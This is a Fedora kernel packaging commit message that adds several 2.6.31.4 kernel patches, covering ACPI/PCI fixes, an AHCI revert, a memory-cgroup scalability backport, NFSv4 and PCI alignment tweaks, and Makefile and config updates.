	improve-resource-counter-scalability.patch 
	linux-2.6-nfs4-callback-hidden.patch patch-2.6.31.4.bz2.sign 
	pci-increase-alignment-to-make-more-space.patch 
	perf-make-perf-counter-h-available-to-userspace.patch 
Log Message:
update pvops to 2.6.31.4


acpi-pci-fix-null-pointer-dereference-in-acpi-get-pci-dev.patch:
 pci_root.c |   11 +++++++++++
 1 file changed, 11 insertions(+)

--- NEW FILE acpi-pci-fix-null-pointer-dereference-in-acpi-get-pci-dev.patch ---
From: Rafael J. Wysocki <rjw at sisk.pl>
Date: Mon, 12 Oct 2009 23:01:57 +0000 (+0200)
Subject: ACPI / PCI: Fix NULL pointer dereference in acpi_get_pci_dev() (rev. 2)
X-Git-Tag: v2.6.32-rc5~6^2~3^2
X-Git-Url: http://git.kernel.org/?p=linux%2Fkernel%2Fgit%2Ftorvalds%2Flinux-2.6.git;a=commitdiff_plain;h=497fb54f578efd2b479727bc88d5ef942c0a1e2d

ACPI / PCI: Fix NULL pointer dereference in acpi_get_pci_dev() (rev. 2)

acpi_get_pci_dev() may be called for a non-PCI device, in which case
it should return NULL.  However, it assumes that every handle it
finds in the ACPI CA name space, between given device handle and the
PCI root bridge handle, corresponds to a PCI-to-PCI bridge with an
existing secondary bus.  For this reason, when it finds a struct
pci_dev object corresponding to one of them, it doesn't check if
its 'subordinate' field is a valid pointer.  This obviously leads to
a NULL pointer dereference if acpi_get_pci_dev() is called for a
non-PCI device with a PCI parent which is not a bridge.

To fix this issue make acpi_get_pci_dev() check if pdev->subordinate
is not NULL for every device it finds on the path between the root
bridge and the device it's supposed to get to and return NULL if the
"target" device cannot be found.

http://bugzilla.kernel.org/show_bug.cgi?id=14129
(worked in 2.6.30, regression in 2.6.31)

Signed-off-by: Rafael J. Wysocki <rjw at sisk.pl>
Reported-by: Danny Feng <dfeng at redhat.com>
Reviewed-by: Alex Chiang <achiang at hp.com>
Tested-by: chepioq <chepioq at gmail.com>
Signed-off-by: Len Brown <len.brown at intel.com>
---

diff --git a/drivers/acpi/pci_root.c b/drivers/acpi/pci_root.c
index 3112221..1af8081 100644
--- a/drivers/acpi/pci_root.c
+++ b/drivers/acpi/pci_root.c
@@ -389,6 +389,17 @@ struct pci_dev *acpi_get_pci_dev(acpi_handle handle)
 
 		pbus = pdev->subordinate;
 		pci_dev_put(pdev);
+
+		/*
+		 * This function may be called for a non-PCI device that has a
+		 * PCI parent (eg. a disk under a PCI SATA controller).  In that
+		 * case pdev->subordinate will be NULL for the parent.
+		 */
+		if (!pbus) {
+			dev_dbg(&pdev->dev, "Not a PCI-to-PCI bridge\n");
+			pdev = NULL;
+			break;
+		}
 	}
 out:
 	list_for_each_entry_safe(node, tmp, &device_list, node)

acpi-revert-attach-device-to-handle-early.patch:
 scan.c |   12 ++----------
 1 file changed, 2 insertions(+), 10 deletions(-)

--- NEW FILE acpi-revert-attach-device-to-handle-early.patch ---
From: Len Brown <len.brown at intel.com>
Date: Sat, 5 Sep 2009 17:33:23 +0000 (-0400)
Subject: Revert "ACPI: Attach the ACPI device to the ACPI handle as early as possible"
X-Git-Url: http://git.kernel.org/?p=linux%2Fkernel%2Fgit%2Flenb%2Flinux-acpi-2.6.git;a=commitdiff_plain;h=f61f925859c57f6175082aeeee17743c68558a6e

Revert "ACPI: Attach the ACPI device to the ACPI handle as early as possible"

This reverts commit eab4b645769fa2f8703f5a3cb0cc4ac090d347af.

http://bugzilla.kernel.org/show_bug.cgi?id=13002

Signed-off-by: Len Brown <len.brown at intel.com>
---

diff --git a/drivers/acpi/scan.c b/drivers/acpi/scan.c
index 781435d..5dd702c 100644
--- a/drivers/acpi/scan.c
+++ b/drivers/acpi/scan.c
@@ -1264,16 +1264,6 @@ acpi_add_single_object(struct acpi_device **child,
 	acpi_device_set_id(device, parent, handle, type);
 
 	/*
-	 * The ACPI device is attached to acpi handle before getting
-	 * the power/wakeup/peformance flags. Otherwise OS can't get
-	 * the corresponding ACPI device by the acpi handle in the course
-	 * of getting the power/wakeup/performance flags.
-	 */
-	result = acpi_device_set_context(device, type);
-	if (result)
-		goto end;
-
-	/*
 	 * Power Management
 	 * ----------------
 	 */
@@ -1303,6 +1293,8 @@ acpi_add_single_object(struct acpi_device **child,
 			goto end;
 	}
 
+	if ((result = acpi_device_set_context(device, type)))
+		goto end;
 
 	result = acpi_device_register(device, parent);
 


ahci-revert-restore-sb600-sata-controller-64-bit-dma.patch:
 ahci.c |   52 ++--------------------------------------------------
 1 file changed, 2 insertions(+), 50 deletions(-)

--- NEW FILE ahci-revert-restore-sb600-sata-controller-64-bit-dma.patch ---
ahci: revert "Restore SB600 sata controller 64 bit DMA"

revert commit 58a09b38cfcd700b796ea07ae3d2e0efbb28b561
("[libata] ahci: Restore SB600 SATA controller 64 bit DMA")

Upstream commit 58a09b38cfcd700b796ea07ae3d2e0efbb28b561 does
nearly the same thing but this patch is simplified.

Disables 64-bit DMA for _all_ boards, unlike 2.6.32 which adds a
whitelist. (The whitelist function requires a fairly large patch
that touches unrelated code.)

Doesn't revert the DMI part as other backported patches might need
the exported symbol.

Applies to 2.6.31.4

Signed-off-by: Chuck Ebbert <cebbert at redhat.com>

--- a/drivers/ata/ahci.c
+++ b/drivers/ata/ahci.c
@@ -447,7 +447,8 @@
 	[board_ahci_sb600] =
 	{
 		AHCI_HFLAGS	(AHCI_HFLAG_IGN_SERR_INTERNAL |
-				 AHCI_HFLAG_NO_MSI | AHCI_HFLAG_SECT255),
+				 AHCI_HFLAG_32BIT_ONLY | AHCI_HFLAG_NO_MSI |
+				 AHCI_HFLAG_SECT255),
 		.flags		= AHCI_FLAG_COMMON,
 		.pio_mask	= ATA_PIO4,
 		.udma_mask	= ATA_UDMA6,
@@ -2584,51 +2585,6 @@
 	}
 }
 
-/*
- * SB600 ahci controller on ASUS M2A-VM can't do 64bit DMA with older
- * BIOS.  The oldest version known to be broken is 0901 and working is
- * 1501 which was released on 2007-10-26.  Force 32bit DMA on anything
- * older than 1501.  Please read bko#9412 for more info.
- */
-static bool ahci_asus_m2a_vm_32bit_only(struct pci_dev *pdev)
-{
-	static const struct dmi_system_id sysids[] = {
-		{
-			.ident = "ASUS M2A-VM",
-			.matches = {
-				DMI_MATCH(DMI_BOARD_VENDOR,
-					  "ASUSTeK Computer INC."),
-				DMI_MATCH(DMI_BOARD_NAME, "M2A-VM"),
-			},
-		},
-		{ }
-	};
-	const char *cutoff_mmdd = "10/26";
-	const char *date;
-	int year;
-
-	if (pdev->bus->number != 0 || pdev->devfn != PCI_DEVFN(0x12, 0) ||
-	    !dmi_check_system(sysids))
-		return false;
-
-	/*
-	 * Argh.... both version and date are free form strings.
-	 * Let's hope they're using the same date format across
-	 * different versions.
-	 */
-	date = dmi_get_system_info(DMI_BIOS_DATE);
-	year = dmi_get_year(DMI_BIOS_DATE);
-	if (date && strlen(date) >= 10 && date[2] == '/' && date[5] == '/' &&
-	    (year > 2007 ||
-	     (year == 2007 && strncmp(date, cutoff_mmdd, 5) >= 0)))
-		return false;
-
-	dev_printk(KERN_WARNING, &pdev->dev, "ASUS M2A-VM: BIOS too old, "
-		   "forcing 32bit DMA, update BIOS\n");
-
-	return true;
-}
-
 static bool ahci_broken_system_poweroff(struct pci_dev *pdev)
 {
 	static const struct dmi_system_id broken_systems[] = {
@@ -2789,10 +2745,6 @@
 	if (board_id == board_ahci_sb700 && pdev->revision >= 0x40)
 		hpriv->flags &= ~AHCI_HFLAG_IGN_SERR_INTERNAL;
 
-	/* apply ASUS M2A_VM quirk */
-	if (ahci_asus_m2a_vm_32bit_only(pdev))
-		hpriv->flags |= AHCI_HFLAG_32BIT_ONLY;
-
 	if ((hpriv->flags & AHCI_HFLAG_NO_MSI) || pci_enable_msi(pdev))
 		pci_intx(pdev, 1);
 

improve-resource-counter-scalability.patch:
 memcontrol.c |  127 +++++++++++++++++++++++++++++++++++++++++++++++++----------
 1 file changed, 106 insertions(+), 21 deletions(-)

--- NEW FILE improve-resource-counter-scalability.patch ---
This patch was sent to me by Balbir Singh, cc'd, who worked on the original
patch.  The patch results in a massive increase in performance on a 64p/32G
system.  The patch was successfully compiled and tested by me on fedora-latest.

>From the upstream commit:

"Data from Prarit (kernel compile with make -j64 on a 64
CPU/32G machine)

For a single run

Without patch

real 27m8.988s
user 87m24.916s
sys 382m6.037s

With patch

real    4m18.607s
user    84m58.943s
sys     50m52.682s

With config turned off

real    4m54.972s
user    90m13.456s
sys     50m19.711s

NOTE: The data looks counterintuitive due to the increased performance
with the patch, even over the config being turned off. We probably need
more runs, but so far all testing has shown that the patches definitely
help."

-------------------------------------------------------------------------------

Backport 0c3e73e84fe3f64cf1c2e8bb4e91e8901cbcdc38

From: Balbir Singh <balbir at linux.vnet.ibm.com>

(memcg: improve resource counter scalability) to 2.6.31.
It is a very useful patch for non-users of memory control
group as it reduces the overhead quite significantly.

Signed-off-by: Balbir Singh <balbir at linux.vnet.ibm.com>
---

 mm/memcontrol.c |  127 ++++++++++++++++++++++++++++++++++++++++++++++---------
 1 files changed, 106 insertions(+), 21 deletions(-)


diff --git a/mm/memcontrol.c b/mm/memcontrol.c
index fd4529d..4821be0 100644
--- a/mm/memcontrol.c
+++ b/mm/memcontrol.c
@@ -43,6 +43,7 @@
 
 struct cgroup_subsys mem_cgroup_subsys __read_mostly;
 #define MEM_CGROUP_RECLAIM_RETRIES	5
+struct mem_cgroup *root_mem_cgroup __read_mostly;
 
 #ifdef CONFIG_CGROUP_MEM_RES_CTLR_SWAP
 /* Turned on only when memory cgroup is enabled && really_do_swap_account = 1 */
@@ -66,6 +67,7 @@ enum mem_cgroup_stat_index {
 	MEM_CGROUP_STAT_MAPPED_FILE,  /* # of pages charged as file rss */
 	MEM_CGROUP_STAT_PGPGIN_COUNT,	/* # of pages paged in */
 	MEM_CGROUP_STAT_PGPGOUT_COUNT,	/* # of pages paged out */
+	MEM_CGROUP_STAT_SWAPOUT, /* # of pages, swapped out */
 
 	MEM_CGROUP_STAT_NSTATS,
 };
@@ -219,11 +221,24 @@ static void mem_cgroup_get(struct mem_cgroup *mem);
 static void mem_cgroup_put(struct mem_cgroup *mem);
 static struct mem_cgroup *parent_mem_cgroup(struct mem_cgroup *mem);
 
+static void mem_cgroup_swap_statistics(struct mem_cgroup *mem,
+					 bool charge)
+{
+	int val = (charge) ? 1 : -1;
+	struct mem_cgroup_stat *stat = &mem->stat;
+	struct mem_cgroup_stat_cpu *cpustat;
+	int cpu = get_cpu();
+
+	cpustat = &stat->cpustat[cpu];
+	__mem_cgroup_stat_add_safe(cpustat, MEM_CGROUP_STAT_SWAPOUT, val);
+	put_cpu();
+}
+
 static void mem_cgroup_charge_statistics(struct mem_cgroup *mem,
 					 struct page_cgroup *pc,
 					 bool charge)
 {
-	int val = (charge)? 1 : -1;
+	int val = (charge) ? 1 : -1;
 	struct mem_cgroup_stat *stat = &mem->stat;
 	struct mem_cgroup_stat_cpu *cpustat;
 	int cpu = get_cpu();
@@ -354,6 +369,11 @@ static int mem_cgroup_walk_tree(struct mem_cgroup *root, void *data,
 	return ret;
 }
 
+static inline bool mem_cgroup_is_root(struct mem_cgroup *mem)
+{
+	return (mem == root_mem_cgroup);
+}
+
 /*
  * Following LRU functions are allowed to be used without PCG_LOCK.
  * Operations are called by routine of global LRU independently from memcg.
@@ -996,9 +1016,11 @@ static int __mem_cgroup_try_charge(struct mm_struct *mm,
 	VM_BUG_ON(css_is_removed(&mem->css));
 
 	while (1) {
-		int ret;
+		int ret = 0;
 		bool noswap = false;
 
+		if (mem_cgroup_is_root(mem))
+			goto done;
 		ret = res_counter_charge(&mem->res, PAGE_SIZE, &fail_res);
 		if (likely(!ret)) {
 			if (!do_swap_account)
@@ -1046,6 +1068,7 @@ static int __mem_cgroup_try_charge(struct mm_struct *mm,
 			goto nomem;
 		}
 	}
+done:
 	return 0;
 nomem:
 	css_put(&mem->css);
@@ -1119,9 +1142,11 @@ static void __mem_cgroup_commit_charge(struct mem_cgroup *mem,
 	lock_page_cgroup(pc);
 	if (unlikely(PageCgroupUsed(pc))) {
 		unlock_page_cgroup(pc);
-		res_counter_uncharge(&mem->res, PAGE_SIZE);
-		if (do_swap_account)
-			res_counter_uncharge(&mem->memsw, PAGE_SIZE);
+		if (!mem_cgroup_is_root(mem)) {
+			res_counter_uncharge(&mem->res, PAGE_SIZE);
+			if (do_swap_account)
+				res_counter_uncharge(&mem->memsw, PAGE_SIZE);
+		}
 		css_put(&mem->css);
 		return;
 	}
@@ -1178,7 +1203,8 @@ static int mem_cgroup_move_account(struct page_cgroup *pc,
 	if (pc->mem_cgroup != from)
 		goto out;
 
-	res_counter_uncharge(&from->res, PAGE_SIZE);
+	if (!mem_cgroup_is_root(from))
+		res_counter_uncharge(&from->res, PAGE_SIZE);
 	mem_cgroup_charge_statistics(from, pc, false);
 
 	page = pc->page;
@@ -1197,7 +1223,7 @@ static int mem_cgroup_move_account(struct page_cgroup *pc,
 						1);
 	}
 
-	if (do_swap_account)
+	if (do_swap_account && !mem_cgroup_is_root(from))
 		res_counter_uncharge(&from->memsw, PAGE_SIZE);
 	css_put(&from->css);
 
@@ -1268,9 +1294,11 @@ uncharge:
 	/* drop extra refcnt by try_charge() */
 	css_put(&parent->css);
 	/* uncharge if move fails */
-	res_counter_uncharge(&parent->res, PAGE_SIZE);
-	if (do_swap_account)
-		res_counter_uncharge(&parent->memsw, PAGE_SIZE);
+	if (!mem_cgroup_is_root(parent)) {
+		res_counter_uncharge(&parent->res, PAGE_SIZE);
+		if (do_swap_account)
+			res_counter_uncharge(&parent->memsw, PAGE_SIZE);
+	}
 	return ret;
 }
 
@@ -1459,7 +1487,9 @@ __mem_cgroup_commit_charge_swapin(struct page *page, struct mem_cgroup *ptr,
 			 * This recorded memcg can be obsolete one. So, avoid
 			 * calling css_tryget
 			 */
-			res_counter_uncharge(&memcg->memsw, PAGE_SIZE);
+			if (!mem_cgroup_is_root(memcg))
+				res_counter_uncharge(&memcg->memsw, PAGE_SIZE);
+			mem_cgroup_swap_statistics(memcg, false);
 			mem_cgroup_put(memcg);
 		}
 		rcu_read_unlock();
@@ -1484,9 +1514,11 @@ void mem_cgroup_cancel_charge_swapin(struct mem_cgroup *mem)
 		return;
 	if (!mem)
 		return;
-	res_counter_uncharge(&mem->res, PAGE_SIZE);
-	if (do_swap_account)
-		res_counter_uncharge(&mem->memsw, PAGE_SIZE);
+	if (!mem_cgroup_is_root(mem)) {
+		res_counter_uncharge(&mem->res, PAGE_SIZE);
+		if (do_swap_account)
+			res_counter_uncharge(&mem->memsw, PAGE_SIZE);
+	}
 	css_put(&mem->css);
 }
 
@@ -1538,9 +1570,14 @@ __mem_cgroup_uncharge_common(struct page *page, enum charge_type ctype)
 		break;
 	}
 
-	res_counter_uncharge(&mem->res, PAGE_SIZE);
-	if (do_swap_account && (ctype != MEM_CGROUP_CHARGE_TYPE_SWAPOUT))
-		res_counter_uncharge(&mem->memsw, PAGE_SIZE);
+	if (!mem_cgroup_is_root(mem)) {
+		res_counter_uncharge(&mem->res, PAGE_SIZE);
+		if (do_swap_account &&
+				(ctype != MEM_CGROUP_CHARGE_TYPE_SWAPOUT))
+			res_counter_uncharge(&mem->memsw, PAGE_SIZE);
+	}
+	if (ctype == MEM_CGROUP_CHARGE_TYPE_SWAPOUT)
+		mem_cgroup_swap_statistics(mem, true);
 	mem_cgroup_charge_statistics(mem, pc, false);
 
 	ClearPageCgroupUsed(pc);
@@ -1629,7 +1666,9 @@ void mem_cgroup_uncharge_swap(swp_entry_t ent)
 		 * We uncharge this because swap is freed.
 		 * This memcg can be obsolete one. We avoid calling css_tryget
 		 */
-		res_counter_uncharge(&memcg->memsw, PAGE_SIZE);
+		if (!mem_cgroup_is_root(memcg))
+			res_counter_uncharge(&memcg->memsw, PAGE_SIZE);
+		mem_cgroup_swap_statistics(memcg, false);
 		mem_cgroup_put(memcg);
 	}
 	rcu_read_unlock();
@@ -2046,20 +2085,64 @@ static int mem_cgroup_hierarchy_write(struct cgroup *cont, struct cftype *cft,
 	return retval;
 }
 
+struct mem_cgroup_idx_data {
+	s64 val;
+	enum mem_cgroup_stat_index idx;
+};
+
+static int
+mem_cgroup_get_idx_stat(struct mem_cgroup *mem, void *data)
+{
+	struct mem_cgroup_idx_data *d = data;
+	d->val += mem_cgroup_read_stat(&mem->stat, d->idx);
+	return 0;
+}
+
+static void
+mem_cgroup_get_recursive_idx_stat(struct mem_cgroup *mem,
+				enum mem_cgroup_stat_index idx, s64 *val)
+{
+	struct mem_cgroup_idx_data d;
+	d.idx = idx;
+	d.val = 0;
+	mem_cgroup_walk_tree(mem, &d, mem_cgroup_get_idx_stat);
+	*val = d.val;
+}
+
 static u64 mem_cgroup_read(struct cgroup *cont, struct cftype *cft)
 {
 	struct mem_cgroup *mem = mem_cgroup_from_cont(cont);
-	u64 val = 0;
+	u64 idx_val, val;
 	int type, name;
 
 	type = MEMFILE_TYPE(cft->private);
 	name = MEMFILE_ATTR(cft->private);
 	switch (type) {
 	case _MEM:
-		val = res_counter_read_u64(&mem->res, name);
+		if (name == RES_USAGE && mem_cgroup_is_root(mem)) {
+			mem_cgroup_get_recursive_idx_stat(mem,
+				MEM_CGROUP_STAT_CACHE, &idx_val);
+			val = idx_val;
+			mem_cgroup_get_recursive_idx_stat(mem,
+				MEM_CGROUP_STAT_RSS, &idx_val);
+			val += idx_val;
+			val <<= PAGE_SHIFT;
+		} else
+			val = res_counter_read_u64(&mem->res, name);
 		break;
 	case _MEMSWAP:
-		val = res_counter_read_u64(&mem->memsw, name);
+		if (name == RES_USAGE && mem_cgroup_is_root(mem)) {
+			mem_cgroup_get_recursive_idx_stat(mem,
+				MEM_CGROUP_STAT_CACHE, &idx_val);
+			val = idx_val;
+			mem_cgroup_get_recursive_idx_stat(mem,
+				MEM_CGROUP_STAT_RSS, &idx_val);
+			val += idx_val;
+			mem_cgroup_get_recursive_idx_stat(mem,
+				MEM_CGROUP_STAT_SWAPOUT, &idx_val);
+			val <<= PAGE_SHIFT;
+		} else
+			val = res_counter_read_u64(&mem->memsw, name);
 		break;
 	default:
 		BUG();
@@ -2548,6 +2631,7 @@ mem_cgroup_create(struct cgroup_subsys *ss, struct cgroup *cont)
 	/* root ? */
 	if (cont->parent == NULL) {
 		enable_swap_cgroup();
+		root_mem_cgroup = mem;
 		parent = NULL;
 	} else {
 		parent = mem_cgroup_from_cont(cont->parent);
@@ -2577,6 +2661,7 @@ mem_cgroup_create(struct cgroup_subsys *ss, struct cgroup *cont)
 	return &mem->css;
 free_out:
 	__mem_cgroup_free(mem);
+	root_mem_cgroup = NULL;
 	return ERR_PTR(error);
 }
 

_______________________________________________
Fedora-kernel-list mailing list
Fedora-kernel-list at redhat.com
https://www.redhat.com/mailman/listinfo/fedora-kernel-list


linux-2.6-nfs4-callback-hidden.patch:
 callback_xdr.c |    1 +
 1 file changed, 1 insertion(+)

--- NEW FILE linux-2.6-nfs4-callback-hidden.patch ---
Author: Steve Dickson <steved at redhat.com>
Date: Tue Oct 13 15:59:57 EDT 2009

To avoid hangs in the svc_unregister(), on version 4 mounts 
(and unmounts), when rpcbind is not running, make the nfs4 callback 
program an 'hidden' service by setting the 'vs_hidden' flag in the 
nfs4_callback_version structure. 

Signed-off-by: Steve Dickson <steved at redhat.com>

diff -up linux-2.6.31.x86_64/fs/nfs/callback_xdr.c.orig linux-2.6.31.x86_64/fs/nfs/callback_xdr.c
--- linux-2.6.31.x86_64/fs/nfs/callback_xdr.c.orig	2009-09-09 18:13:59.000000000 -0400
+++ linux-2.6.31.x86_64/fs/nfs/callback_xdr.c	2009-10-13 15:40:19.000000000 -0400
@@ -716,5 +716,6 @@ struct svc_version nfs4_callback_version
 	.vs_proc = nfs4_callback_procedures1,
 	.vs_xdrsize = NFS4_CALLBACK_XDRSIZE,
 	.vs_dispatch = NULL,
+	.vs_hidden = 1,
 };
 


--- NEW FILE patch-2.6.31.4.bz2.sign ---
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.9 (GNU/Linux)
Comment: See http://www.kernel.org/signature.html for info

iD8DBQBK07q9yGugalF9Dw4RAi20AJ9iL7DEv2KkeZaZNogGdrOkXmlEgwCfaQ9d
DefCbKNy2tKReB+f+pRqMy0=
=PG/w
-----END PGP SIGNATURE-----

pci-increase-alignment-to-make-more-space.patch:
 e820.c |    4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

--- NEW FILE pci-increase-alignment-to-make-more-space.patch ---
From: Yinghai Lu <yinghai at kernel.org>
Date: Sun, 11 Oct 2009 21:17:16 +0000 (-0700)
Subject: pci: increase alignment to make more space for hidden code
X-Git-Tag: v2.6.32-rc4~1
X-Git-Url: http://git.kernel.org/?p=linux%2Fkernel%2Fgit%2Ftorvalds%2Flinux-2.6.git;a=commitdiff_plain;h=15b812f1d0a5ca8f5efe7f5882f468af10682ca8

pci: increase alignment to make more space for hidden code

As reported in

	http://bugzilla.kernel.org/show_bug.cgi?id=13940

on some system when acpi are enabled, acpi clears some BAR for some
devices without reason, and kernel will need to allocate devices for
them.  It then apparently hits some undocumented resource conflict,
resulting in non-working devices.

Try to increase alignment to get more safe range for unassigned devices.

Signed-off-by: Yinghai Lu <yinghai at kernel.org>
Signed-off-by: Linus Torvalds <torvalds at linux-foundation.org>
---

diff --git a/arch/x86/kernel/e820.c b/arch/x86/kernel/e820.c
index 85419bb..d17d482 100644
--- a/arch/x86/kernel/e820.c
+++ b/arch/x86/kernel/e820.c
@@ -1378,8 +1378,8 @@ static unsigned long ram_alignment(resource_size_t pos)
 	if (mb < 16)
 		return 1024*1024;
 
-	/* To 32MB for anything above that */
-	return 32*1024*1024;
+	/* To 64MB for anything above that */
+	return 64*1024*1024;
 }
 
 #define MAX_RESOURCE_SIZE ((resource_size_t)-1)

perf-make-perf-counter-h-available-to-userspace.patch:
 Kbuild |    1 +
 1 file changed, 1 insertion(+)

--- NEW FILE perf-make-perf-counter-h-available-to-userspace.patch ---
Make performance counter ABI definitions available to userspace.

For 2.6.31 only. The userspace parts are in perf_event.h in 2.6.32.

--- linux-2.6.31.noarch.orig/include/linux/Kbuild
+++ linux-2.6.31.noarch/include/linux/Kbuild
@@ -126,6 +126,7 @@ header-y += nfs_mount.h
 header-y += nl80211.h
 header-y += param.h
 header-y += pci_regs.h
+header-y += perf_counter.h
 header-y += pfkeyv2.h
 header-y += pg.h
 header-y += phantom.h


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/kernel/devel/.cvsignore,v
retrieving revision 1.1014.2.32
retrieving revision 1.1014.2.33
diff -u -p -r1.1014.2.32 -r1.1014.2.33
--- .cvsignore	10 Oct 2009 15:04:07 -0000	1.1014.2.32
+++ .cvsignore	16 Oct 2009 16:09:19 -0000	1.1014.2.33
@@ -5,4 +5,4 @@ kernel-2.6.*.config
 temp-*
 kernel-2.6.31
 linux-2.6.31.tar.bz2
-patch-2.6.31.3.bz2
+patch-2.6.31.4.bz2


Index: Makefile
===================================================================
RCS file: /cvs/pkgs/rpms/kernel/devel/Makefile,v
retrieving revision 1.97.6.8
retrieving revision 1.97.6.9
diff -u -p -r1.97.6.8 -r1.97.6.9
--- Makefile	24 Sep 2009 21:05:05 -0000	1.97.6.8
+++ Makefile	16 Oct 2009 16:09:19 -0000	1.97.6.9
@@ -32,6 +32,12 @@ endif
 include $(MAKEFILE_COMMON)
 include Makefile.config
 
+ifndef KVERSION
+KVERSION := $(shell awk '$$1 == "%define" && $$2 == "base_sublevel" { \
+				print "2.6." $$3 \
+			 }' $(SPECFILE))
+endif
+
 extremedebug:
 	@perl -pi -e 's/# CONFIG_DEBUG_PAGEALLOC is not set/CONFIG_DEBUG_PAGEALLOC=y/' config-nodebug
 
@@ -130,7 +136,7 @@ rhel:
 
 reconfig:
 	@rm -f kernel-*-config
-	@VERSION="2.6.30" make -f Makefile.config configs
+	@VERSION=$(KVERSION) make -f Makefile.config configs
 	@scripts/reconfig.sh
 
 force-tag: $(SPECFILE) $(COMMON_DIR)/branches
@@ -173,12 +179,6 @@ srpm beehive-sprm: RELEASE := 0.$(varian
 endif
 endif
 
-ifndef KVERSION
-KVERSION := $(shell awk '$$1 == "%define" && $$2 == "base_sublevel" { \
-				print "2.6." $$3 \
-			 }' $(SPECFILE))
-endif
-
 #
 # Hacks for building kernel rpms from upstream code plus local GIT branches.
 # Use "make git/BRANCH/TARGET" like "make TARGET".


Index: config-generic
===================================================================
RCS file: /cvs/pkgs/rpms/kernel/devel/config-generic,v
retrieving revision 1.238.6.41
retrieving revision 1.238.6.42
diff -u -p -r1.238.6.41 -r1.238.6.42
--- config-generic	10 Oct 2009 15:04:07 -0000	1.238.6.41
+++ config-generic	16 Oct 2009 16:09:20 -0000	1.238.6.42
@@ -2247,6 +2247,7 @@ CONFIG_DRM_VIA=m
 CONFIG_DRM_NOUVEAU=m
 CONFIG_DRM_NOUVEAU_KMS=y
 CONFIG_DRM_NOUVEAU_BACKLIGHT=y
+CONFIG_DRM_NOUVEAU_DEBUG=y
 CONFIG_DRM_I2C_CH7006=m
 
 #

drm-nouveau.patch:
 drivers/gpu/drm/Kconfig                     |   56 
 drivers/gpu/drm/Makefile                    |    2 
 drivers/gpu/drm/i2c/Makefile                |    4 
 drivers/gpu/drm/i2c/ch7006_drv.c            |  531 
 drivers/gpu/drm/i2c/ch7006_mode.c           |  473 
 drivers/gpu/drm/i2c/ch7006_priv.h           |  344 
 drivers/gpu/drm/nouveau/Makefile            |   29 
 drivers/gpu/drm/nouveau/nouveau_acpi.c      |  125 
 drivers/gpu/drm/nouveau/nouveau_backlight.c |  155 
 drivers/gpu/drm/nouveau/nouveau_bios.c      | 5709 +++++++
 drivers/gpu/drm/nouveau/nouveau_bios.h      |  236 
 drivers/gpu/drm/nouveau/nouveau_bo.c        |  620 
 drivers/gpu/drm/nouveau/nouveau_calc.c      |  626 
 drivers/gpu/drm/nouveau/nouveau_channel.c   |  464 
 drivers/gpu/drm/nouveau/nouveau_connector.c |  811 +
 drivers/gpu/drm/nouveau/nouveau_connector.h |   55 
 drivers/gpu/drm/nouveau/nouveau_crtc.h      |   95 
 drivers/gpu/drm/nouveau/nouveau_debugfs.c   |  155 
 drivers/gpu/drm/nouveau/nouveau_display.c   |  115 
 drivers/gpu/drm/nouveau/nouveau_dma.c       |  206 
 drivers/gpu/drm/nouveau/nouveau_dma.h       |  151 
 drivers/gpu/drm/nouveau/nouveau_drv.c       |  413 
 drivers/gpu/drm/nouveau/nouveau_drv.h       | 1283 +
 drivers/gpu/drm/nouveau/nouveau_encoder.h   |   66 
 drivers/gpu/drm/nouveau/nouveau_fb.h        |   47 
 drivers/gpu/drm/nouveau/nouveau_fbcon.c     |  381 
 drivers/gpu/drm/nouveau/nouveau_fbcon.h     |   49 
 drivers/gpu/drm/nouveau/nouveau_fence.c     |  262 
 drivers/gpu/drm/nouveau/nouveau_gem.c       |  954 +
 drivers/gpu/drm/nouveau/nouveau_hw.c        | 1078 +
 drivers/gpu/drm/nouveau/nouveau_hw.h        |  448 
 drivers/gpu/drm/nouveau/nouveau_i2c.c       |  256 
 drivers/gpu/drm/nouveau/nouveau_i2c.h       |   45 
 drivers/gpu/drm/nouveau/nouveau_ioc32.c     |   72 
 drivers/gpu/drm/nouveau/nouveau_irq.c       |  696 
 drivers/gpu/drm/nouveau/nouveau_mem.c       |  572 
 drivers/gpu/drm/nouveau/nouveau_notifier.c  |  195 
 drivers/gpu/drm/nouveau/nouveau_object.c    | 1294 +
 drivers/gpu/drm/nouveau/nouveau_reg.h       |  788 
 drivers/gpu/drm/nouveau/nouveau_sgdma.c     |  321 
 drivers/gpu/drm/nouveau/nouveau_state.c     |  872 +
 drivers/gpu/drm/nouveau/nouveau_swmthd.h    |   33 
 drivers/gpu/drm/nouveau/nouveau_ttm.c       |  131 
 drivers/gpu/drm/nouveau/nv04_crtc.c         |  995 +
 drivers/gpu/drm/nouveau/nv04_cursor.c       |   70 
 drivers/gpu/drm/nouveau/nv04_dac.c          |  529 
 drivers/gpu/drm/nouveau/nv04_dfp.c          |  621 
 drivers/gpu/drm/nouveau/nv04_display.c      |  293 
 drivers/gpu/drm/nouveau/nv04_fb.c           |   21 
 drivers/gpu/drm/nouveau/nv04_fbcon.c        |  316 
 drivers/gpu/drm/nouveau/nv04_fifo.c         |  271 
 drivers/gpu/drm/nouveau/nv04_graph.c        |  579 
 drivers/gpu/drm/nouveau/nv04_instmem.c      |  210 
 drivers/gpu/drm/nouveau/nv04_mc.c           |   20 
 drivers/gpu/drm/nouveau/nv04_timer.c        |   51 
 drivers/gpu/drm/nouveau/nv04_tv.c           |  305 
 drivers/gpu/drm/nouveau/nv10_fb.c           |   24 
 drivers/gpu/drm/nouveau/nv10_fifo.c         |  260 
 drivers/gpu/drm/nouveau/nv10_graph.c        |  891 +
 drivers/gpu/drm/nouveau/nv17_tv.c           |  689 
 drivers/gpu/drm/nouveau/nv17_tv.h           |  156 
 drivers/gpu/drm/nouveau/nv17_tv_modes.c     |  583 
 drivers/gpu/drm/nouveau/nv20_graph.c        |  778 
 drivers/gpu/drm/nouveau/nv40_fb.c           |   62 
 drivers/gpu/drm/nouveau/nv40_fifo.c         |  314 
 drivers/gpu/drm/nouveau/nv40_graph.c        | 2239 ++
 drivers/gpu/drm/nouveau/nv40_mc.c           |   38 
 drivers/gpu/drm/nouveau/nv50_crtc.c         |  784 
 drivers/gpu/drm/nouveau/nv50_cursor.c       |  151 
 drivers/gpu/drm/nouveau/nv50_dac.c          |  295 
 drivers/gpu/drm/nouveau/nv50_display.c      |  902 +
 drivers/gpu/drm/nouveau/nv50_display.h      |   46 
 drivers/gpu/drm/nouveau/nv50_evo.h          |  113 
 drivers/gpu/drm/nouveau/nv50_fbcon.c        |  273 
